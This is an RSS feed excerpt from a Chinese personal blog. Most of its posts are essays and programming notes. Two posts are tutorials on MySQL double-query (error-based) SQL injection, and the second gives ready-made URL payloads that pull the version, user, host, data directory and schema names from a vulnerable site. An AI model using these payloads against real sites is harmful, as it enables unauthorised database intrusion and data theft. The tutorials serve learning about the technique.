      <link>http://blog.leaver.me/2013/03/11/%E8%97%8F%E7%86%AC%E5%B0%B1%E4%B8%80%E4%B8%AA%E5%AD%97/</link>
      <pubDate>Mon, 11 Mar 2013 09:44:36 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/03/11/%E8%97%8F%E7%86%AC%E5%B0%B1%E4%B8%80%E4%B8%AA%E5%AD%97/</guid>
      <description>&lt;p&gt;文/冯仑&lt;/p&gt;
&lt;p&gt;男孩子最大的问题，30多岁自己还没有成功。&lt;/p&gt;
&lt;p&gt;现在社会反差特别大，怎么坚守自己的人生目标就特别难，随波逐流总是成本低，但对自己不负责任，不如设定一个特别大的目标，然后熬，一直熬下去。&lt;/p&gt;
&lt;p&gt;熬是个什么概念？&lt;/p&gt;
&lt;p&gt;20多岁刚毕业，你是社会的边缘，什么事都是哥哥、姐姐、30多40多的人在做，你得求这些人；等到30多岁，你开始进入到剧场最后一排，有了一张门票可以看别人演；到40、50岁，就是中排靠前一点的观众，看戏你就可以看的清楚了；你如果要出类拔萃就变成第一排了，再出类拔萃你就成演员了，等到你演完了，别人一鼓掌你也就该下场了。&lt;/p&gt;
&lt;p&gt;20多岁一定要有一个准备，你就是边缘，边缘是尽快拿到入场券。比如说你到了公司，有了一个稳定的职业，或者一个基本稳定的生活，但是你乘自行车、赶公共汽车，这就是入场券，很正常。&lt;/p&gt;
&lt;p&gt;我研究生刚毕业，中间工作八年，每天骑自行车赶到374，然后坐公共汽车，公共汽车下来再走一站地。回头想来不委屈，20多岁肯定是这个过程，如果20岁就跟50岁人一样，那这个戏就乱了，中国十几亿人都这么演的。插队是偶然性，比如像丁磊他是另外一种人生，这种概率极小极小，你可以朝着奋斗。&lt;/p&gt;
&lt;p&gt;成功不是设计出来，是靠信念支撑，加上各种机遇偶然蹦出来了。当你成演员，基本上也该谢幕了，接下来又来了人，这个戏才能不断唱。现在70多岁人基本上又退回到场外了，看他儿子演孙子演，就这么一茬一茬。&lt;/p&gt;
&lt;p&gt;熬要有耐心，熬不是你一个人熬，而是一代人熬。&lt;/p&gt;</description>
    </item>
    <item>
      <title>[E].Net 多线程指南</title>
      <link>http://blog.leaver.me/2013/03/06/e.net-%E5%A4%9A%E7%BA%BF%E7%A8%8B%E6%8C%87%E5%8D%97/</link>
      <pubDate>Wed, 06 Mar 2013 22:28:20 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/03/06/e.net-%E5%A4%9A%E7%BA%BF%E7%A8%8B%E6%8C%87%E5%8D%97/</guid>
      <description>&lt;p&gt;这是codeproject上的一个系列。我看完了。收获匪浅。可惜作者之后未能更新预想中的总结贴，多少有些可惜，不过。此系列非常非常不错。建议想学习.net多线程的看看。&lt;/p&gt;
&lt;p&gt;1.net 多线程介绍 &lt;a href=&#34;http://www.codeproject.com/KB/threads/ThreadingDotNet.aspx&#34;&gt;Introduction into threading in .NET&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;2.线程周期/线程优势/陷阱 &lt;a href=&#34;http://www.codeproject.com/KB/threads/ThreadingDotNet2.aspx&#34;&gt;Lifecycle of threads/Threading opportunities/Traps &lt;/a&gt;&lt;/p&gt;
&lt;p&gt;3.线程同步 &lt;a href=&#34;http://www.codeproject.com/KB/threads/ThreadingDotNet3.aspx&#34;&gt;Synchronization&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;4.线程池 &lt;a href=&#34;http://www.codeproject.com/KB/threads/ThreadingDotNet4.aspx&#34;&gt;Thread Pools&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;5.UI中的线程应用 &lt;a href=&#34;http://www.codeproject.com/KB/threads/ThreadingDotNet5.aspx&#34;&gt;Threading in UIs (WinForms / WPF / Silverlight)&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>详细讲解双查询注入</title>
      <link>http://blog.leaver.me/2013/03/03/%E8%AF%A6%E7%BB%86%E8%AE%B2%E8%A7%A3%E5%8F%8C%E6%9F%A5%E8%AF%A2%E6%B3%A8%E5%85%A5/</link>
      <pubDate>Sun, 03 Mar 2013 07:53:24 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/03/03/%E8%AF%A6%E7%BB%86%E8%AE%B2%E8%A7%A3%E5%8F%8C%E6%9F%A5%E8%AF%A2%E6%B3%A8%E5%85%A5/</guid>
      <description>&lt;p&gt;上一篇文章中，&lt;a href=&#34;http://leaver.me/archives/2726.html&#34;&gt;http://leaver.me/archives/2726.html&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;我说双查询很难讲清楚，这次就试着讲一下。读了一些原理性的东西。然后尽量通俗的给大家讲清楚。。&lt;/p&gt;
&lt;p&gt;在此之前，我们理解一下子查询，查询的关键字是select，这个大家都知道。子查询可以简单的理解在一个select语句里还有一个select。里面的这个select语句就是子查询。&lt;/p&gt;
&lt;p&gt;看一个简单的例子：&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;Select concat((select database()));&lt;/pre&gt; 
&lt;p&gt;真正执行的时候，先从子查询进行。因此执行select database() 这个语句就会把当前的数据库查出来，然后把结果传入到concat函数。这个函数是用来连接的。比如 concat(‘a’,’b’)那结果就是ab了。&lt;/p&gt;
&lt;p&gt;原理：&lt;/p&gt;
&lt;p&gt;双注入查询需要理解四个函数/语句
1. Rand()  //随机函数
2. Floor()  //取整函数
3. Count()  //汇总函数
4. Group by clause //分组语句&lt;/p&gt;
&lt;p&gt;简单的一句话原理就是有研究人员发现，当在一个聚合函数，比如count函数后面如果使用分组语句就会把查询的一部分以错误的形式显示出来。&lt;/p&gt;
&lt;p&gt;以本地一个名为Security的数据库为例
首先在bt5下的命令行下输入&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;mysql -u root –p toor&lt;/pre&gt; 
&lt;p&gt;就会连接上数据库了。
然后通过use security； 就可以切换到security数据库了。因为一个服务器上可能有多个数据库嘛。
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/33517_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/522ac49ec64d3b7735b3dc208564de22477e4aba.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;然后我们执行一下前面那个简单的子查询的例子&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;SELECT concat((select database()));&lt;/pre&gt; 
&lt;p&gt;就能显示security，也就是显示了当前数据库的名字了。
然后我们测试一下concat的用法。输入&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;SELECT concat(&#39;string1&#39;,&#39;string2&#39;);&lt;/pre&gt; 
&lt;p&gt;显然结果就是string1string2了&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/33518_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/a8be70e4ddb999500369b44191c7c188b4ecf651.png&#34;&gt;&lt;/a&gt;
然后我们测试一下rand()这个随机函数是干嘛的&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;Select rand();&lt;/pre&gt; 
&lt;p&gt;我们多执行几次
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/33519_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/ab02015d63c2fc6d0af98492ae791d58a7665000.png&#34;&gt;&lt;/a&gt;
可以看到，这个函数就是返回大于0，小于1之间的数
然后看看取整函数&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;Select floor(1.1123456);&lt;/pre&gt; 
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/33520_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/4477acaba79cf1464c028cab96e32534d81af2e5.png&#34;&gt;&lt;/a&gt;
这个函数就是返回小于等于你输入的数的整数。&lt;/p&gt;
&lt;p&gt;然后我们看看双注入查询中的一个简单组合。大家从我的上一篇文章中应该也看到了有一个子查询是&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;SELECT floor(rand()*2);&lt;/pre&gt; 
&lt;p&gt;我们从里向外看。rand() 返回大于0小于1的小数，乘以2之后就成了小于0小于2了。然后对结果进行取证。就只能是0或1了。也就是这个查询的结果不是1，就是0
我们稍微加大一点难度。看这个查询&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;SELECT CONCAT((SELECT database()), FLOOR(RAND()*2));&lt;/pre&gt; 
&lt;p&gt;不要怕。先看最里面的SELECT database() 这个就返回数据库名，这里就是security了。然后FLOOR(RAND()*2)这个上面说过了。不是0，就是1.然后把这两个的结果进行concat连接，那么结果不是security0就是security1了。&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/33521_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/f29b4115541e053c2e100bc7a35cdd51aaa9c2e5.png&#34;&gt;&lt;/a&gt;
如果我们把这条语句后面加上from 一个表名。那么一般会返回security0或security1的一个集合。数目是由表本身有几条结果决定的。比如一个管理表里有5个管理员。这个就会返回五条记录，这里users表里有13个用户，所以返回了13条
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/33522_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/d272e51a8be57b8739ab1c63516af31cd795f6ab.png&#34;&gt;&lt;/a&gt;
如果是从information_schema.schemata里，这个表里包含了mysql的所有数据库名。这里本机有三个数据库。所以会返回三个结果&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/33523_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/8c67270890234e1d851d71c02e44e7511cedcdbd.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;现在我们准备加上Group By 语句了。
我们使用information_schema.tables 或 information_schema.columns者两个表来查询。因为表里面一般数据很多。容易生成很多的随机值，不至于全部是security0，这样就不能查询出结果了。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;select concat((select database()), floor(rand()*2))as a from information_schema.tables group by a;&lt;/pre&gt; 
&lt;p&gt;这里我先解释一下。我们把concat((select database()), floor(rand()*2)) 这个结果取了一个别名 a ，然后使用他进行分组。这样相同的security0分到一组，security1分到一组。就剩下两个结果了。
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/33524_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/c9ad11cc6de49646801b61d3143e1fa9c5d0b0af.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;注意。这里的database()可以替换成任何你想查的函数，比如version(), user(), datadir()或者其他的查询。比如查表啊。查列啊。原理都是一样的。&lt;/p&gt;
&lt;p&gt;最后的亮点来了。。
我们输入这条：注意多了一个聚合函数count(*)&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;select count(*), concat((select database()), floor(rand()*2))as a from information_schema.tables group by a;&lt;/pre&gt; 
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/33525_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/03af307809c7bcdfd4f77d3551d39e1d7fa7e515.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;报错了&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;ERROR 1062 (23000): Duplicate entry &#39;security1&#39; for key ‘group_key’&lt;/pre&gt; 
&lt;p&gt;重复的键值 可以看到security就是我们的查询结果了
想要查询版本就这样：&lt;/p&gt;</description>
    </item>
    <item>
      <title>C#中的Debug类</title>
      <link>http://blog.leaver.me/2013/03/01/c%23%E4%B8%AD%E7%9A%84debug%E7%B1%BB/</link>
      <pubDate>Fri, 01 Mar 2013 22:57:22 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/03/01/c%23%E4%B8%AD%E7%9A%84debug%E7%B1%BB/</guid>
      <description>&lt;p&gt;位于命名空间System.Diagnostics中
1.Debug.Print方法&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;Debug.Print(&#34;Today: {0}&#34;, DateTime.Today);&lt;/pre&gt; 
&lt;p&gt;2.Debug.WriteLine方法&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;Debug.WriteLine(&#34;Have a nice day&#34;);&lt;/pre&gt; 
&lt;p&gt;3.TraceListener类&lt;/p&gt;
&lt;p&gt;DelimitedListTraceListener创建的时候指定一个文件名，当Flush调用的时候，就被覆写到文件里。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;TraceListener listener = new DelimitedListTraceListener(@&#34;C:\debugfile.txt&#34;);

        // Add listener.
        Debug.Listeners.Add(listener);

        // Write and flush.
        Debug.WriteLine(&#34;Welcome&#34;);
        Debug.Flush();&lt;/pre&gt; 
&lt;p&gt;4.Debug.Write和WriteIf以及WriteLineIf方法&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;Debug.WriteLineIf(IsThursday(), &#34;Thursday&#34;);
&lt;/pre&gt; 
&lt;p&gt;第一个参数一个bool值，为真则输出。&lt;/p&gt;
&lt;p&gt;5.Debug.Assert方法&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;Debug.Assert(value != -1, &#34;Value must never be -1.&#34;);&lt;/pre&gt; 
&lt;p&gt;如果表达式为false，则输出。&lt;/p&gt;</description>
    </item>
    <item>
      <title>消费者行为学</title>
      <link>http://blog.leaver.me/2013/02/26/%E6%B6%88%E8%B4%B9%E8%80%85%E8%A1%8C%E4%B8%BA%E5%AD%A6/</link>
      <pubDate>Tue, 26 Feb 2013 21:33:12 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/02/26/%E6%B6%88%E8%B4%B9%E8%80%85%E8%A1%8C%E4%B8%BA%E5%AD%A6/</guid>
      <description>&lt;p&gt;　　今天一直在自习。。中午遇到了初中同桌。。5年没见了吧。聊了一会。被各种叮嘱“一定不要找太娇生惯养的，太粘人的，太无理取闹的。要听我的话，不然受苦的可是你。”哈哈。当时笑喷了。谢谢同桌。好好工作吧。&lt;/p&gt;
&lt;p&gt;　　这本书是寒假在家看的一本书。一点点笔记。&lt;/p&gt;
&lt;p&gt;　　选择喜爱的网站在很大程度上是一种生活方式的声明，它说明了一个人的兴趣和他想成为哪一类型的人，人们选择一种产品。通常是因为他们喜欢他的个性，觉得和自己比较温和。甚至有些人认为，使用产品后，他所拥有的令人渴望的品质会转移到自己身上。&lt;/p&gt;
&lt;p&gt;　　每一年，人们都会购买大量几乎没有任何味道，没有任何营养的食品，这说明现代消费者行为学领域的一个基本前提是，人们购买产品往往并非因为他们能做什么，而是因为他们意味着什么。在其相同的情况下，人们会选择那些具有与其潜在需求一致的形象/个性的品牌。&lt;/p&gt;
&lt;p&gt;　　营销者与消费者共处于一种复杂的双向关系中，往往很难判断营销活动是在哪里结束，而“真实世界”又在哪里开始，这种界限的模糊带来一个结果，那就是我们不再确定（或者也不在意）区分虚构世界和现实的界限究竟在哪里。有时候，我们呢愉快地加入到这个幻想中。&lt;/p&gt;
&lt;p&gt;　　商业道德是引导市场行为的原则。包括诚实，可信赖，公平，尊重，正义。消费者认为行为道德的公司制造的产品评价较高。&lt;/p&gt;
&lt;p&gt;　　品牌是在消费者头脑中设立的账户，也许巨额投入的营销策略只可以提高一个品牌的小小美誉度，而一次不大的产品质量危机则可能会一夜之间让该品牌资产荡然无存。&lt;/p&gt;
&lt;p&gt;　　需求是一种基本的生物动机，欲望是社会教给我们的可用以满意需求的一种方式，比如口渴是生物意义上的，而我们被教会用可口可乐而不是（比如）羊奶来满足解渴的需要，因此，需求是本来就已经存在的。营销者只是推荐满足他的方法。营销的一个基本目标就是引起人们认识到需要的存在，而不是创造需求。&lt;/p&gt;
&lt;p&gt;　　广告人对于人们的了解还远远未达到操纵他们的程度，新产品的失败率从40-80%，尽管人们认为神奇手段和科学技术在操纵他们，而事实上。只有设法销售优秀产品时才会成功。&lt;/p&gt;
&lt;p&gt;　　绿色营销越来越普遍。强迫性消费是指反复的而且常是过度的购物行为，他被当作压力/焦虑/沮丧/无聊的宣泄渠道。和毒品类似。女性观有强迫购物失常的概率是男性的4倍，女性被服装和化妆品吸引，男性则被小配件，工具，枪支等吸引。&lt;/p&gt;</description>
    </item>
    <item>
      <title>装逼尚未成功，同志仍需努力。</title>
      <link>http://blog.leaver.me/2013/02/25/%E8%A3%85%E9%80%BC%E5%B0%9A%E6%9C%AA%E6%88%90%E5%8A%9F%E5%90%8C%E5%BF%97%E4%BB%8D%E9%9C%80%E5%8A%AA%E5%8A%9B/</link>
      <pubDate>Mon, 25 Feb 2013 21:24:21 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/02/25/%E8%A3%85%E9%80%BC%E5%B0%9A%E6%9C%AA%E6%88%90%E5%8A%9F%E5%90%8C%E5%BF%97%E4%BB%8D%E9%9C%80%E5%8A%AA%E5%8A%9B/</guid>
      <description>&lt;p&gt;　　本文来自&lt;a href=&#34;http://hxyl.net/2013/02/24/zhuangbimeichengong/&#34;&gt;河蟹娱乐&lt;/a&gt;，看到的时候让我想起了《娱乐至死》和《瓦尔登湖》，总之，不打算拯救世界，也不在乎别人装逼，生活什么的，简单最好。文中观点也许略有偏颇，读者自己心中有数即可-bystander&lt;/p&gt;
&lt;p&gt;　　你受过良好的教育，有意无意间说起自己的大学，旁人无一例外纷纷投来艳羡目光。你工作光鲜，不是四大就是4A，不是垄断国企就是全球500强；在一个都是中国人的公司里互相叫对方英文名。你衣食无忧，三个月工资买一LV包；你生活清闲，上班时就像神九的航天员，明明啥事没干还要装出一副很忙的样子；你格调不俗，业余时间不是昆曲就是话剧，不是民谣专场就是妈妈咪呀；你善良正义，身处斗室，胸怀天下，每天吃饱饭就刷刷微博拯救中国。&lt;/p&gt;
&lt;p&gt;　　你用苹果，买个五千块的马脸iPhone，又是贴膜又是镶钻，十天换八个壳；你用谷歌，买个两千块的安卓手机，又是S-OFF又是ROOT，十天刷八个ROM。你关注互联网，精通电子产品，上机锋网威锋网雷锋网，电脑里永远装着十个GTD软件八个思维导图软件，用Instagram记录生活，对乔布斯比对你爸还了解，以果粉自居并喜欢到论坛上问：iOS6完美越狱什么时候出来啊？&lt;/p&gt;
&lt;p&gt;　　你发烧，你还发骚，出门带着IPC，用麻绳绑个随身耳放，再配一对ER4P入耳式耳塞，完全隔音，也不怕被车撞死。嫌不够惹眼？那就换一副时下最流行的魔声Beats Pro头戴式耳机，每一个苹果旗舰店的配件区里都有卖，它颜色鲜艳外形时尚，两个耳朵每边印着一个b，挂在你的头上，真是实至名归。&lt;/p&gt;
&lt;p&gt;　　你叫自己“吃货”，可怜的娃从小在城里长大没吃过什么好东西，为了美食频道里推荐的坑爹路边摊，坐10块钱地铁从城南干到城北。你热爱美食，每次花十分钟炒菜，二十分钟摆盘，三十分钟拍照，拍好导进PhotoShop里用康熙字典体配上两句文言文，传到博客上豆瓣上微博上。&lt;/p&gt;
&lt;p&gt;　　你文艺青年，琴棋书画样样不通，格律没搞懂就敢写古诗词，最爱莎士比亚的英雄双行体。你只到电影院看电影，提到外国电影从不说中文名，也不说英文名，管《指环王》叫LOTR，《蝙蝠侠3》叫TDKR，倍洋气倍有面子。你一听到维瓦尔第的《四季》，就会想起波光粼粼的日内瓦湖和白雪皑皑的阿尔卑斯山。&lt;/p&gt;
&lt;p&gt;　　终于有一天，当你拿着一张音乐会赠票睡死在钢琴声中，当你附庸风雅跑去看毕加索画展却一张画也没看懂，你突然意识到了自己的浅薄。没有金刚钻，怎装瓷器逼？没有付出，哪来收获？&lt;/p&gt;
&lt;p&gt;　　装逼没有那么容易，才会特别让人着迷。&lt;/p&gt;
&lt;p&gt;　　你开始认认真真地看书，时间宝贵，你只看经典，抬手就是中华书局、上海古籍，各种珍本善本影印本，横排版的书不看，简体字的书不看。理论学习也不能落下，商务印书馆汉译世界学术名著丛书买它个几十本回来，黄的绿的橙的蓝的，书架上一排彩虹。&lt;/p&gt;
&lt;p&gt;　　你偷偷把手机铃声从《我的歌声里》换成肖邦的夜曲，王菲、张国荣的CD扔掉，你万青，你痛仰，你Pink Floyd，你Guns N’ Roses，你从流行听到爵士，从摇听到古典，别人问起你最喜欢的歌手，你四十五度角仰望星空，眼神虔诚地说出一句：“In Bach We Trust。”念到Bach的ch时上腭抬高，发成“喝哈”轻读加连读的效果，一口纯正的小舌音，德味！&lt;/p&gt;
&lt;p&gt;　　数码单反是不能再用了，现在连旅游团的大叔大妈们都人手一只无敌兔了。相机一定得是胶片的，胶片一定得是120的，拉开你们家冰箱，啥吃的没有，满满的全是胶卷——还必须得是过期的。&lt;/p&gt;
&lt;p&gt;　　国内景点是不能再去了，水乡古镇全是搞一夜情的，西藏全是又酸又穷除了会辞职什么都不会的城市小白领。你背包，你户外，你特立独行无所畏惧，你穿Columbia防水鞋、NorthFace冲锋衣，你用GPS迷了路，在黄山的雨夜里发出求救信息。&lt;/p&gt;
&lt;p&gt;　　你张开双手去生活去爱，你受了伤害，你的小心脏扎满绷带。你痛不欲生，你长夜痛哭过人生，痛完哭完后你顿悟你看透你蜕变，你长了一分智慧叫阅历，你多了一分气质叫成熟。你情感专家，你麻辣教师，你知性姐姐。你豆瓣粉丝几万，微博粉丝几十万，你吊了个有房有车有钱的金龟婿，然后教小姑娘们什么是爱情；你一天到晚不干正事，然后教小朋友们如何治疗拖延症；你做了个朝九晚五的无趣上班族，然后教大学生们别放弃梦想。你读书写字做主妇，你把体内毒素分泌成畅销书。你解答粉丝来信，聆听读者倾述，你款到发货，话到病除。你忙着生产一种叫“正能量”的东西，没有它，你的读者将无以为继，夜夜痛哭。&lt;/p&gt;
&lt;p&gt;　　你研习人类学、社会学、历史学、植物学、建筑学、心理学，你掌握六门外语：英语、法语、德语、日语、西班牙语、铁岭话，你知道康熙他小舅的二大爷哪年死的，你分得清古典柱式认得出欧洲广场，你叫得出路边一花一草的科属名字，你开口M2闭口流通性过剩，你和同好攒了个铅笔经济研究社，研究除了经济学以外的任何东西。&lt;/p&gt;
&lt;p&gt;　　只有门外汉才会在听古典音乐的时候想到什么画面，你谈论的是作品的母题、动机、织体、转调、升降、横向展开的层次与纵向展开的速度。你告诉还在听莫扎特“我不想不想长大”和贝多芬“当当当当”的新手：不妨尝试一下莫扎特和贝多芬的钢琴协奏曲，尤其是莫扎特的K.491和K.595，贝多芬的Op.37和Op.73，精彩绝伦，不输给他们任何的交响乐作品以及歌剧。你对中产气味古典主义模仿者勃拉姆斯充满轻视，对婆婆妈妈的柴可夫斯基只有厌烦。斯特劳斯里面只能听听理查·斯特劳斯，他的艺术歌曲还算有那么点思想性；至于约翰·斯特劳斯，天啊，真不知道这个家伙除开写了几首平庸的圆舞曲外还干了些什么。&lt;/p&gt;
&lt;p&gt;　　你上知天文下知地理，对世界充满好奇心和求知欲，没事就到网上破解谣言。你三十好几找不到对象，去非诚勿扰相亲告诉人家“喜欢TBBT加分哦”，结果“可惜不是你，陪我到最后……”。你在粉丝面前表演Name Dropping的把戏大秀才艺，隔天一觉醒来照旧要加班熬夜做苦力，供房养车还利息。&lt;/p&gt;
&lt;p&gt;　　你有知识有思想有文化有品位，唯独没有钱。你浑身上下散发着狐臭般无法抗拒的人格魅力，唯独没有活人鸟你。&lt;/p&gt;
&lt;p&gt;　　装逼尚未成功，同志仍需努力。&lt;/p&gt;
&lt;p&gt;　　你苦心智、劳筋骨、饿体肤，长夜痛哭算个屁，未曾坐过春运绿皮车者，不足以语人生。你比别人聪明你还比别人勤奋，你睡得比别人晚起得比别人早，你头发一天比一天少，肚子一天比一天大，鸡鸡一天比一天软。“吃得苦中苦，方装逼上逼”，皇天不负苦心装逼的人，你行业老大了，你商界精英了，你社会名流了，Finally, You did it, You DID it!&lt;/p&gt;
&lt;p&gt;　　你实现了“财务上的自由”。你从不像其它男人一样热衷讨论好车，一般你的做法是：买一辆。不过，好车没什么值得炫耀的，车再好能好得过煤老板的？身为“中国知识新贵”的你，更喜欢邀请朋友到家里听自己两百万的Hi-End系统上播放的马勒和布鲁克纳。你听音室里的唱片的总价能买三辆奔驰，你用十三种工具调整自己唱机唱臂的位置，你告诉朋友，玩音响最关键的不是音源，也不是音箱，而是电：水电偏冷，火电偏暖，核电偏硬，你只用来自新疆阿克苏的风电，宽松醇厚。&lt;/p&gt;
&lt;p&gt;　　你从微软跳到谷歌，最后弄个创新工场，做出了市面上最好的安卓盗版装机软件。你是中国的雷布斯，三千块市价的安卓手机你只卖两千块，除了一直缺货外，没什么不好的。&lt;/p&gt;
&lt;p&gt;　　你从英国回来，都不用做学问搞研究，把民主的细节背诵一遍就当上了副教授。你出国就去冰岛，斯堪的纳维亚那块，北欧冰冷的气质才衬你高洁的内心，哦，对了，出门前记得把所有微博删掉。&lt;/p&gt;
&lt;p&gt;　　你是央视主持人，你抑郁了，你又好了，你开着豪车到人民大会堂骂执政党的娘，骂完回台里继续主持读书节目；你血水盐水里泡过，说十句话引用八句名人名言，采访的时候总像只孵蛋的鹌鹑一样看着对方，你内心强大业务出众文笔一流，更要命的是，你还穷，谁敢不喜欢你简直天理难容。&lt;/p&gt;
&lt;p&gt;　　你文学青年，你杂志主编，你说看不懂你小说的人是傻逼，看不懂你小说的人就是傻逼；你说文学有金线，文学就有金线。你眼光高，天底下看得上眼的东西就两样：美玉和鹌鹑。你率性随意，什么都可以将就，但避孕套一定要用最薄的。&lt;/p&gt;
&lt;p&gt;　　你为民主民权民生摇旗呐喊，早年带老婆到天安门广场拍露逼照，直接则对城楼上的人像竖中指，好像很厉害的样子，可惜被查过一次账后就痿了，回来后一副受尽人间辛酸的萌样，像闰土一样四处找粉丝借钱，谁看谁心疼。&lt;/p&gt;
&lt;p&gt;　　你老了，头发胡子花白，你归隐田园，深藏功与名。你心情不好就打个飞的去伦敦喂鸽子，去尼泊尔爬珠穆朗玛峰，心情好的时候就给干女儿做一盘难看但好吃的红烧肉。&lt;/p&gt;
&lt;p&gt;　　你会当凌绝顶，一览众逼小。你再也不需要装逼，因为，你就是逼。&lt;/p&gt;
&lt;p&gt;　　你安然地度过了一生，死后安葬在宁静的故乡，野花轻轻覆盖你的墓碑，上面镌刻的六个大字清晰可辨：&lt;/p&gt;
&lt;p&gt;　　“活过，爱过，装过。”&lt;/p&gt;</description>
    </item>
    <item>
      <title>双查询注入</title>
      <link>http://blog.leaver.me/2013/02/22/%E5%8F%8C%E6%9F%A5%E8%AF%A2%E6%B3%A8%E5%85%A5/</link>
      <pubDate>Fri, 22 Feb 2013 20:57:02 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/02/22/%E5%8F%8C%E6%9F%A5%E8%AF%A2%E6%B3%A8%E5%85%A5/</guid>
      <description>&lt;p&gt;作者：bystander
论坛：法客论坛
这个东西比较难解释。我就不多解释。尽量通过这篇文章大家能够照猫画虎手注即可。想要深入理解的可以去看看mysql数据库的一些知识&lt;/p&gt;
&lt;p&gt;介绍一下双查询注入，有时候我们通过order by 语句获取到了确定的列数，可是当我们使用union select或union select all查询的时候，&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;f4ck.net/index.php?id=-1 union select 1,2,3,4,5,6--&lt;/pre&gt; 
&lt;p&gt;却会出现一个错误提示，列数不一致。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;Different Number of Columns&lt;/pre&gt; 
&lt;p&gt;而我们使用下面的语句：&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;f4ck.net/index.php?id=1 and (select 1 from (select count(*),concat((select(select concat(cast(concat(version(),user(),@@hostname,0x7e,@@datadir) as char),0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)&lt;/pre&gt; 
&lt;p&gt;执行之后就会显示mysql版本，用户名，服务器名, 以及数据目录…&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;获取数据库里&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;许多人会在上面的语句里使用:database()方法来获取数据库，&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;f4ck.net/index.php?id=1 and (select 1 from (select count(*),concat((select(select concat(cast(database() as char),0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)&lt;/pre&gt; 
&lt;p&gt;可是。这个方法只能获取一个数据库。如果你入侵的网站存在多个数据库。上面这个查询就不能用了因此使用下面这个方法更好些。。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;f4ck.net/index.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,cast(schema_name as char),0x27,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1&lt;/pre&gt; 
&lt;p&gt;不同点在于第二个查询语句在information_schema.schemata里查询 schema_name ，这样就能查到所有的数据库了。
注意语句中的Limit 0,1会显示地一个数据库,改成 Limit 1,1 会显示第二个 Limit 2,1 会显示第三个, Limit 3,1 会显示第四个。。以此类推。
补充个：
在普通的SQL注入中，使用如下的语句&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;f4ck.net/index.php?id=-1 union select 1,2,3,4,5,schema_name,7,8 from information_schema.schemata--&lt;/pre&gt; 
&lt;p&gt;会一次爆出所有的数据库
而使用下面的&lt;/p&gt;
